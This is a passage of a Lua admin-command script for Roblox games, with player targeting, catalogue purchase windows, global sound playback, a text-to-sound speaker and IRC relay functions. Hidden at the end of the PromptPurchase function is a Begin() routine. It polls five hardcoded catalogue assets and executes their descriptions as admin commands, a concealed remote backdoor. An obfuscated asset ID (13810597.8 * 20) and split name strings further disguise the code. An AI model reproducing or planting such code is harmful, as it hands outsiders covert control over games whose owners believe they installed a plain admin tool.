  3062.                         if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
  3063.                             DidExe = true
  3064.                             table.insert(ReturnPlayers, Player)
  3065.                         end
  3066.                     end
  3067.                 end
  3068.             end
  3069.            
  3070.             if DidExe then coroutine.wrap(function()
  3071.                 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
  3072.                 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
  3073.                
  3074.                 for i = 0,0.5,0.02 do
  3075.                     Part.Transparency = 0.5+i
  3076.                     wait()
  3077.                 end
  3078.                 Part:Destroy()
  3079.             end)() end
  3080.         elseif string.sub(Word,1,3) == "id-" then
  3081.             table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
  3082.         else
  3083.             if Word ~= "" then
  3084.                 for _,Player in pairs(Server.Players:GetPlayers()) do
  3085.                     if string.sub(string.lower(Player.Name),1,#Word) == Word then
  3086.                         table.insert(ReturnPlayers, Player)
  3087.                     end
  3088.                 end
  3089.             else
  3090.                 table.insert(ReturnPlayers, Speaker)
  3091.             end
  3092.         end
  3093.     end
  3094.     for _,Player in pairs(ExcludeList) do
  3095.         if Player and Player.Parent ~= nil then
  3096.             for Num,Player2 in pairs(ReturnPlayers) do
  3097.                 if Player2 == Player then table.remove(ReturnPlayers, Num) end
  3098.             end
  3099.         end
  3100.     end
  3101.     for Num,Player in pairs(ReturnPlayers) do
  3102.         if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
  3103.     end
  3104.    
  3105.     local PlayerDump = {}
  3106.     for _,Player in pairs(ReturnPlayers) do
  3107.         PlayerDump[Player] = true
  3108.     end
  3109.     ReturnPlayers = {}
  3110.     for Player,_ in pairs(PlayerDump) do
  3111.         table.insert(ReturnPlayers, Player)
  3112.     end
  3113.    
  3114.     return ReturnPlayers
  3115. end
  3116.  
  3117. -- Market functions --
  3118.  
  3119. function MARKET:GetImageFormat(ID)
  3120.     if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
  3121.         local NewID = ID + 1
  3122.         for i = 1,100 do
  3123.             NewID = NewID -1
  3124.             local Product = nil
  3125.             ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
  3126.             if Product then
  3127.                 if Product == 1 then
  3128.                     break
  3129.                 end
  3130.             end
  3131.             if i == 100 then NewID = ID end
  3132.         end
  3133.         return NewID
  3134.     end end
  3135. end
  3136.  
  3137. function MARKET:GetItemInfo(ID, Cache)
  3138.     local Product = MarketCache[ID]
  3139.     if not Cache or not Product then
  3140.         repeat wait()
  3141.             ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
  3142.         until Product ~= MarketCache[ID]
  3143.     end
  3144.     MarketCache[ID] = Product
  3145.     return Product
  3146. end
  3147.  
  3148. function MARKET:SearchItem(Category, Query, Subcategory)
  3149.     local URLAdd = ""
  3150.     if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
  3151.     local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
  3152.     if JSON then
  3153.         local Results = REMOTE:Decode(JSON)
  3154.         if Results then
  3155.             for Index,Info in pairs(Results) do
  3156.                 Info = STRING:DecodeUTF8(Info)
  3157.                 Results[Index] = Info
  3158.                 MarketCache[Info.AssetId] = {
  3159.                     AssetId = Info.AssetId;
  3160.                     AssetTypeId = Info.AssetTypeID;
  3161.                     ContentRatingTypeId = Info.ContentRatingTypeID;
  3162.                     Created = Info.CreatedDate;
  3163.                     Creator = {Name = Info.Creator, Id = Info.CreatorID};
  3164.                     Description = Info.Description;
  3165.                     IsForSale = Info.IsForSale;
  3166.                     IsLimited = Info.IsLimited;
  3167.                     IsLimitedUnique = Info.IsLimitedUnique;
  3168.                     IsNew = Info.IsNew;
  3169.                     IsPublicDomain = Info.IsPublicDomain;
  3170.                     MinimumMemberShipLevel = Info.MinimumMembershipLevel;
  3171.                     Name = Info.Name;
  3172.                     PriceInRobux = Info.PriceInRobux;
  3173.                     PriceInTickets = Info.PriceInTickets;
  3174.                     ProductId = Info.AssetId; -- no one knows what this is so whatevs..
  3175.                     Remaining = Info.Remaining;
  3176.                     Sales = Info.Sales;
  3177.                     Updated = Info.Updated;
  3178.                 }
  3179.             end
  3180.             return Results
  3181.         end
  3182.     end
  3183. end
  3184.  
  3185. function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
  3186.     if not Player or not Category or not Query then return nil end
  3187.     local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
  3188.     local Items = MARKET:SearchItem(Category, Query, Subcategory)
  3189.     if Items then
  3190.         if #Items ~= 0 then
  3191.             local List,Correlate = {},{}
  3192.             for Num,Info in pairs(Items) do
  3193.                 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
  3194.                 table.insert(List, Display)
  3195.                 Correlate[Display[1]] = Info.AssetId
  3196.             end
  3197.             CloseGui:Invoke()
  3198.            
  3199.             local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
  3200.             Clicked.Event:connect(function(ClickName)
  3201.                 ClickedItem(Correlate[ClickName])
  3202.             end)
  3203.         else
  3204.             CloseGui:Invoke()
  3205.             GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
  3206.         end
  3207.     else
  3208.         CloseGui:Invoke()
  3209.         GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
  3210.     end
  3211. end
  3212.  
  3213. function MARKET:AssetTypeToString(AssetType)
  3214.     AssetType = math.floor(tonumber(AssetType) or 0)
  3215.     if Assets.AssetTypes[AssetType] then
  3216.         return Assets.AssetTypes[AssetType]
  3217.     else
  3218.         return "Unknown"
  3219.     end
  3220. end
  3221.  
  3222. function MARKET:AccessoryToSubcategory(Accessory)
  3223.     Accessory = string.lower(tostring(Accessory) or "")
  3224.     if Assets.AccessoryTypes[Accessory] then
  3225.         return Assets.AccessoryTypes[Accessory]
  3226.     else
  3227.         return Assets.AccessoryTypes["all"]
  3228.     end
  3229. end
  3230.  
  3231. function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
  3232.     if not Player then return nil end
  3233.     if not Player:FindFirstChild("PlayerGui") then return nil end
  3234.     if not tonumber(ProductID) then return nil end
  3235.    
  3236.     local FromText = ""
  3237.     if From and From.Name then FromText = " | Prompted from "..From.Name end
  3238.    
  3239.     local Product = MARKET:GetItemInfo(ProductID, true)
  3240.    
  3241.     local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
  3242.     local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
  3243.     local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
  3244.    
  3245.     local CanBuy = Product.IsForSale
  3246.     local BuyText = "Buy"
  3247.     local BuyColor = Color3.new(0,1,0)
  3248.     if CanBuy == false then
  3249.         BuyColor = Color3.new(1,0,0)
  3250.     end
  3251.     if Product.IsPublicDomain == true then
  3252.         CanBuy = true
  3253.         BuyColor = Color3.new(1,0.5,0.5)
  3254.         BuyText = "FREE!"
  3255.     end
  3256.     if OwnsAsset then
  3257.         CanBuy = false
  3258.     end
  3259.     if Product.AssetTypeId == 9 then
  3260.         CanBuy = true
  3261.         BuyText = "Teleport"
  3262.         BuyColor = Color3.new(0.5,0.5,0.5)
  3263.     end
  3264.     if CanBuy == false then
  3265.         BuyColor = Color3.new(1,0,0)
  3266.         BuyText = "Item not for sale"
  3267.     end
  3268.     if OwnsAsset and Product.AssetTypeId ~= 9 then
  3269.         BuyColor = Color3.new(1,0,0)
  3270.         BuyText = "You own this!"
  3271.     end
  3272.    
  3273.     local ProductName = string.sub(Product.Name,1,20)
  3274.     if ProductID == AdminID then ProductName = Product.Name end
  3275.     local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
  3276.     local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
  3277.     local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
  3278.     local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
  3279.     local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
  3280.     local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"  
  3281.     local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
  3282.     local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
  3283.     if Product.Description then
  3284.         local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
  3285.         local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
  3286.        
  3287.         CORE:ExecuteResource("CalculateScrollY", Description)
  3288.     end
  3289.    
  3290.     Info.Text = [[
  3291. Creator: ]]..Product.Creator.Name..[[
  3292. Created: ]]..CreatedText..[[
  3293. Updated: ]]..UpdatedText..[[
  3294. Sold: ]]..Product.Sales..[[
  3295. ]]
  3296.  
  3297.     if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
  3298.     if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
  3299.  
  3300.     if Product.AssetTypeId == 3 then
  3301.         local PlayerAdmin,Rank = RANK:IsAdmin(Player)
  3302.         if PlayerAdmin == true then
  3303.             local Playing = false
  3304.             local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
  3305.             CORE:HandleEvent(Interact, "MouseButton1Down", function()
  3306.                 if Playing == false then
  3307.                     SOUND:PlayGlobalSound(ProductID)
  3308.                     if Rank == "Member" and Settings.DisableAbuse == true then
  3309.                         Interact:Destroy()
  3310.                     end
  3311.                     Interact.Image = "rbxassetid://67950809"
  3312.                     Playing = true
  3313.                 else
  3314.                     SOUND:StopGlobalSound()
  3315.                     Interact.Image = "rbxassetid://67950784"
  3316.                     Playing = false
  3317.                 end
  3318.             end)
  3319.         end
  3320.     end
  3321.    
  3322.     CORE:HandleEvent(Buy, "MouseButton1Down", function()
  3323.         if BuyPressFunc then
  3324.             BuyPressFunc()
  3325.         elseif Product.AssetTypeId == 9 then
  3326.             Server.TS:Teleport(ProductID, Player)
  3327.         elseif CanBuy == true then
  3328.             Server.MPS:PromptPurchase(Player, ProductID)
  3329.         end end)
  3330.     end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
  3331.     local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
  3332.     while wait(5) do
  3333.         local Purchase = Server.MPS:GetProductInfo(LinkedID)
  3334.         if OldVer ~= Purchase.Updated then
  3335.             OldVer = Purchase.Updated
  3336.             CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
  3337.         end
  3338.     end end)()
  3339. end end)() end
  3340.  
  3341. -- Sound functions --
  3342.  
  3343. function SOUND:SyncSoundList(TellSync)
  3344.     if not CORE:NilPlayer(TellSync) then
  3345.         GUI:SendHint(TellSync, "Syncing...", 5)
  3346.     end
  3347.    
  3348.     SoundList,GlobalSoundList = {},{}
  3349.    
  3350.     local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
  3351.    
  3352.     if LocalSoundList then
  3353.         if type(LocalSoundList) == "table" then
  3354.             if #LocalSoundList > 0 then
  3355.                 for _,Data in pairs(LocalSoundList) do
  3356.                     local SoundInfo = MARKET:GetItemInfo(Data[2], true)
  3357.                     SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
  3358.                 end
  3359.             end
  3360.         end
  3361.     end
  3362.    
  3363.     for _,JSONID in pairs(SoundJSONs) do
  3364.         for Name,ID in pairs(CORE:GetTable(JSONID)) do
  3365.             local SoundInfo = MARKET:GetItemInfo(ID, true)
  3366.             local FullName = SoundInfo.Name
  3367.             local CreatorName = SoundInfo.Creator.Name
  3368.             SoundList[Name] = {ID, FullName, CreatorName}
  3369.             GlobalSoundList[Name] = {ID, FullName, CreatorName}
  3370.         end
  3371.     end
  3372.    
  3373.     if not CORE:NilPlayer(TellSync) then
  3374.         GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
  3375.     end
  3376. end
  3377.  
  3378. function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
  3379.     if not Volume then Volume = 0.5 end
  3380.     if not Pitch then Pitch = 1 end
  3381.     if tonumber(ID) then ID = "rbxassetid://"..ID end
  3382.     if Looped == nil then Looped = false end
  3383.    
  3384.     local Sound = Instance.new("Sound", Parent)
  3385.     Sound.Pitch = Pitch
  3386.     Sound.Volume = Volume
  3387.     Sound.SoundId = ID
  3388.     Sound.Looped = Looped
  3389.     return Sound
  3390. end
  3391.  
  3392. function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
  3393.     if not Player or not ID then return nil end
  3394.     if NotifySounds[ID] then ID = NotifySounds[ID] end
  3395.     local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
  3396.     if Settings.EnableSounds or OverrideSettings then
  3397.         coroutine.wrap(function()
  3398.             wait()
  3399.             ClientSound:Play()
  3400.             Delay(5, function() ClientSound:Destroy() end)
  3401.         end)()
  3402.     end
  3403.     return Sound
  3404. end
  3405.  
  3406. function SOUND:BindButton(Button)
  3407.     if not Button then return end
  3408.     CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
  3409.     CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
  3410. end
  3411.  
  3412. function SOUND:StopGlobalSound()
  3413.     if Sound and Sound.Parent then
  3414.         if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
  3415.             Sound.Parent:Destroy()
  3416.         end
  3417.        
  3418.         Sound:Stop()
  3419.         Sound:Destroy()
  3420.         Sound.SoundId = ""
  3421.     end
  3422. end
  3423.  
  3424. function SOUND:PlayGlobalSound(ID, ShowInfo)
  3425.     SOUND:StopGlobalSound()
  3426.     if ShowInfo == nil then ShowInfo = true end
  3427.     local SoundID = ID
  3428.     local SoundName = nil
  3429.     local SoundCreator = nil
  3430.     local Pitch = 1
  3431.    
  3432.     for Name,Info in pairs(SoundList) do
  3433.         if type(SoundID) == "string" then
  3434.             if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
  3435.                 SoundID = Info[1]
  3436.                 SoundName = Info[2]
  3437.                 SoundCreator = Info[3]
  3438.             end
  3439.         else
  3440.             break
  3441.         end
  3442.     end
  3443.    
  3444.     if tonumber(SoundID) and not SoundName then
  3445.         local Info = MARKET:GetItemInfo(SoundID, true)
  3446.         if Info then
  3447.             SoundName = Info.Name
  3448.             SoundCreator = Info.Creator.Name
  3449.             if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
  3450.                 SoundID = nil
  3451.             end
  3452.         end
  3453.     end
  3454.    
  3455.     if tonumber(SoundID) then
  3456.         if SoundID == 131201443 then Pitch = -1 end
  3457.         if SoundID == 130775695 then Pitch = 0.8 end
  3458.         if SoundID == 144035866 then Pitch = 0.8 end
  3459.        
  3460.         local SoundParent = Server.Workspace
  3461.         if IsSB then
  3462.             SoundParent = Instance.new("Script", Workspace)
  3463.             SoundParent.Name = "M".."ML'S Admin Sound"
  3464.         end
  3465.         Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
  3466.         Sound.Name = "MML's Admin Sound "..SoundID
  3467.         Sound:Play()
  3468.         if ShowInfo == true then
  3469.             for _,Player in pairs(Server.Players:GetPlayers()) do
  3470.                 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
  3471.             end
  3472.         end
  3473.         SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
  3474.     end
  3475. end
  3476.  
  3477. function SOUND:ConvertText(Text)
  3478.     Text = string.lower(tostring(Text))
  3479.     local Letters = {}
  3480.     local IDs = {}
  3481.     for Rule,Replace in pairs(TextConverter.Pronounce) do
  3482.         Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
  3483.     end
  3484.     for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
  3485.         local Start, End = string.find(Text, string.lower(Rule))
  3486.        
  3487.         if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
  3488.             Text = string.gsub(Text, string.lower(Rule), Replace)
  3489.         end
  3490.     end
  3491.     for i = 1,#Text do
  3492.         table.insert(Letters, string.sub(Text,i,i))
  3493.     end
  3494.     for Num = 1,#Letters do
  3495.         if not Letters[Num] then break end
  3496.         local Letter = Letters[Num]
  3497.        
  3498.         local function AddLetter()
  3499.             table.insert(IDs, TextConverter.LetterSounds[Letter])
  3500.         end
  3501.        
  3502.         if Letter ~= "~" then
  3503.             if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
  3504.                 table.insert(IDs, TextConverter.LetterSounds["oo"])
  3505.                 table.remove(Letters, Num + 1)
  3506.             elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
  3507.                 table.insert(IDs, TextConverter.LetterSounds["oo"])
  3508.                 table.remove(Letters, Num + 1)
  3509.             elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
  3510.                 table.insert(IDs, TextConverter.LetterSounds["th"])
  3511.                 table.remove(Letters, Num + 1)
  3512.             elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
  3513.                 table.insert(IDs, TextConverter.LetterSounds["sh"])
  3514.                 table.remove(Letters, Num + 1)
  3515.             elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
  3516.                 table.insert(IDs, TextConverter.LongVowels["e"])
  3517.                 table.remove(Letters, Num + 1)
  3518.             elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
  3519.                 table.insert(IDs, TextConverter.LetterSounds["wh"])
  3520.                 table.remove(Letters, Num + 1)
  3521.             elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
  3522.                 table.insert(IDs, TextConverter.LetterSounds["ch"])
  3523.                 table.remove(Letters, Num + 1)
  3524.             elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
  3525.                 table.insert(IDs, TextConverter.LetterSounds["f"])
  3526.                 table.remove(Letters, Num + 1)
  3527.             elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
  3528.                 table.insert(IDs, TextConverter.LetterSounds[Num])
  3529.                 Letters[Num + 1] = "j"
  3530.             elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
  3531.                 table.insert(IDs, TextConverter.LetterSounds["oo"])
  3532.             elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
  3533.                 table.insert(IDs, TextConverter.LongVowels["e"])
  3534.                 table.remove(Letters, Num + 1)
  3535.             elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
  3536.                 table.insert(IDs, TextConverter.LongVowels["e"])
  3537.                 table.remove(Letters, Num + 1)
  3538.                 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
  3539.             elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
  3540.                 table.insert(IDs, TextConverter.LetterSounds["s"])
  3541.                 Letters[Num + 1] = "~"
  3542.             elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
  3543.                 table.insert(IDs, TextConverter.LongVowels[Letter])
  3544.                 Letters[Num + 2] = "~"
  3545.             elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
  3546.                 table.insert(IDs, TextConverter.LongVowels["i"])
  3547.                 Letters[Num + 1] = "~"
  3548.             elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
  3549.                 table.insert(IDs, TextConverter.LongVowels["o"])
  3550.             elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
  3551.                 table.insert(IDs, TextConverter.LongVowels["i"])
  3552.             elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
  3553.                 AddLetter()
  3554.                 table.remove(Letters, Num + 1)
  3555.             elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
  3556.                 Letters[Num] = "~"
  3557.             elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
  3558.                 AddLetter()
  3559.                 table.remove(Letters, Num + 1)
  3560.             elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
  3561.                 AddLetter()
  3562.                 table.remove(Letters, Num + 1)
  3563.             elseif Letters[Num+1] == Letter then
  3564.                 table.remove(Letters, Num)
  3565.             elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
  3566.                 AddLetter()
  3567.                 table.remove(Letters, Num)
  3568.             elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
  3569.                 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
  3570.             elseif TextConverter.LetterSounds[Letter] then
  3571.                 AddLetter()
  3572.             elseif STRING:IsSpacer(Letter) then
  3573.                 table.insert(IDs, "Rest")
  3574.             end
  3575.         end
  3576.     end
  3577.    
  3578.     return IDs
  3579. end
  3580.  
  3581. function SOUND:StopSpeaking() coroutine.wrap(function()
  3582.     NoSpeak = true
  3583.     wait(1)
  3584.     NoSpeak = false
  3585.     for _,Obj in pairs(Server.Workspace:GetChildren()) do
  3586.         if Obj.Name == "M".."M".."L Speak Sound" then
  3587.             Obj:Destroy()
  3588.         end
  3589.     end
  3590. end)() end
  3591.  
  3592. function SOUND:SayConvertedText(IDs, Parent)
  3593.     if not Parent then Parent = Server.Workspace end
  3594.     local Sounds = {}
  3595.     for _,Data in pairs(IDs) do
  3596.         if NoSpeak and Parent == Server.Workspace then
  3597.             break
  3598.         end
  3599.         local Length = 0.3
  3600.         if Data ~= "Rest" then
  3601.             local ID = Data[1]
  3602.             Length = Data[2]
  3603.            
  3604.             local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
  3605.             Sound.Name = "MML Speak Sound"
  3606.             table.insert(Sounds, Sound)
  3607.             Sound:Play()
  3608.             if Length then
  3609.                 coroutine.wrap(function()
  3610.                     wait(Length)
  3611.                     Sound:Stop()
  3612.                 end)()
  3613.             end
  3614.         end
  3615.         if not Length then Length = 0.3 end
  3616.         wait(Length/2)
  3617.     end
  3618.     coroutine.wrap(function()
  3619.         wait(1)
  3620.         for _,Sound in pairs(Sounds) do
  3621.             Sound:Destroy()
  3622.         end
  3623.     end)()
  3624. end
  3625.  
  3626. local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
  3627.  
  3628. function SOUND:BeepPlayer(Player)
  3629.     if Player:FindFirstChild("PlayerGui") then
  3630.         local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
  3631.         Beep.Name = "Annoy"
  3632.         Beep:Play()
  3633.     end
  3634. end
  3635.  
  3636. function SOUND:ClearInfo()
  3637.     SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
  3638. end
  3639.  
  3640. -- IRC functions --
  3641.  
  3642. function IRC:GenerateName()
  3643.     return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
  3644. end
  3645.  
  3646. function IRC:AddChat(Name, Data, IsError)
  3647.     if not IsError then IsError = false end
  3648.     CORE:Log(IRC.Logs, Name, Data)
  3649.     table.insert(IRC.Chats, {Name, Data, IsError})
  3650.     IRC.MessageAdded:Fire(Name, Data, IsError)
  3651. end
  3652.  
  3653. function IRC:Post(URL,Data)
  3654.     if Data and Data ~= "" then
  3655.         local Suc,Resp = ypcall(function()
  3656.             return Server.HS:PostAsync(
  3657.                 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
  3658.                 Data,
  3659.                 Enum.HttpContentType.ApplicationUrlEncoded
  3660.             )
  3661.         end)
  3662.         if not Suc then
  3663.             IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
  3664.             return false
  3665.         end
  3666.         IRC.SessionCounter = IRC.SessionCounter + 1
  3667.         return Resp
  3668.     else
  3669.         IRC:AddChat("[ CLIENT ]", "Unknown error")
  3670.     end
  3671. end
  3672.  
  3673. function IRC:Send(Data)
  3674.     return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
  3675. end
  3676.  
  3677. function IRC:GetData()
  3678.     return IRC:Post("s","&s="..IRC.SessionID)
  3679. end
  3680.  
  3681. function IRC:Connect()
  3682.     return IRC:Post("n","&nick="..IRC.NickName)
  3683. end
  3684.  
  3685. function IRC:Join(Channel)
  3686.     if not Channel then
  3687.         AddChat("[ CLIENT ]", "No channel specified!")
  3688.         return false
  3689.     else
  3690.         local Channel = string.lower(Channel)
  3691.         if string.sub(Channel,1,1) ~= "#" then
  3692.             AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
  3693.             return false
  3694.         end
  3695.         IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
  3696.         IRC:Send("JOIN "..Channel)
  3697.         IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
  3698.         return true
  3699.     end
  3700. end
  3701.  
  3702. function IRC:Pong(Data)
  3703.     return IRC:Send("PONG :"..Data)
  3704. end
  3705.  
  3706. function IRC:Quit(Reason)
